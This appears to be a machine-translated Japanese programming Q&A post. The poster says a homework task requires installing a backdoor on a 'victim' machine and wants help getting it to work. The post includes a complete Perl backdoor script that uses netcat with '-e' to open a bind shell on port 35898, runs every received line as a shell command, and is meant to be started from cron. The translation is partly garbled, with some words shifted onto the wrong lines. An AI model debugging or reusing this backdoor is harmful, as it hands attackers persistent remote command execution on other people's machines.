宿題のために被害者のマシンにバックドアを設置するように依頼されました。マシンにアクセスできたので、次のスクリプトをで実行したいのですがcron
、エラーが発生します。
ダミー引数@ARGV
の有無にかかわらずプログラムを個別に呼び出すことでテストが正しく機能することを確認しましたが、スクリプトの初期化後に被害者のマシンにアクセスしようとすると、接続時に次のエラーが発生します。run
netcat
port 35898
エラー: exec /bin/vshell run failed : No such file or directory
プログラムがそれ自体を呼び出しているので、明らかにプログラムは存在します。
コード:
#!/usr/bin/perl -w
$| = 1;
my $prompt = '$ ';
# run is just a dummy arg
if(!@ARGV){ exec("nc -e '/bin/vshell run' -l -p 35898"); die; }
while(1){
print $prompt;
eval {
local $SIG{ALRM} = sub { die 'Goodbye!\n'; };
alarm 60;
&syscall;
alarm 0;
};
if( $@ ){ die; }
}
sub syscall{
if( defined( $_ = <STDIN> )){
chomp;
system( $_ );
}
}
私はしばらくこれに取り組んできました、そして私は本当に正しい方向にナッジを使うことができました。ありがとう!
PS:のこのインストールは、フラグnc
を許可するセキュリティホールを使用してコンパイルされており、他のプログラムでこの機能を検証しました。-e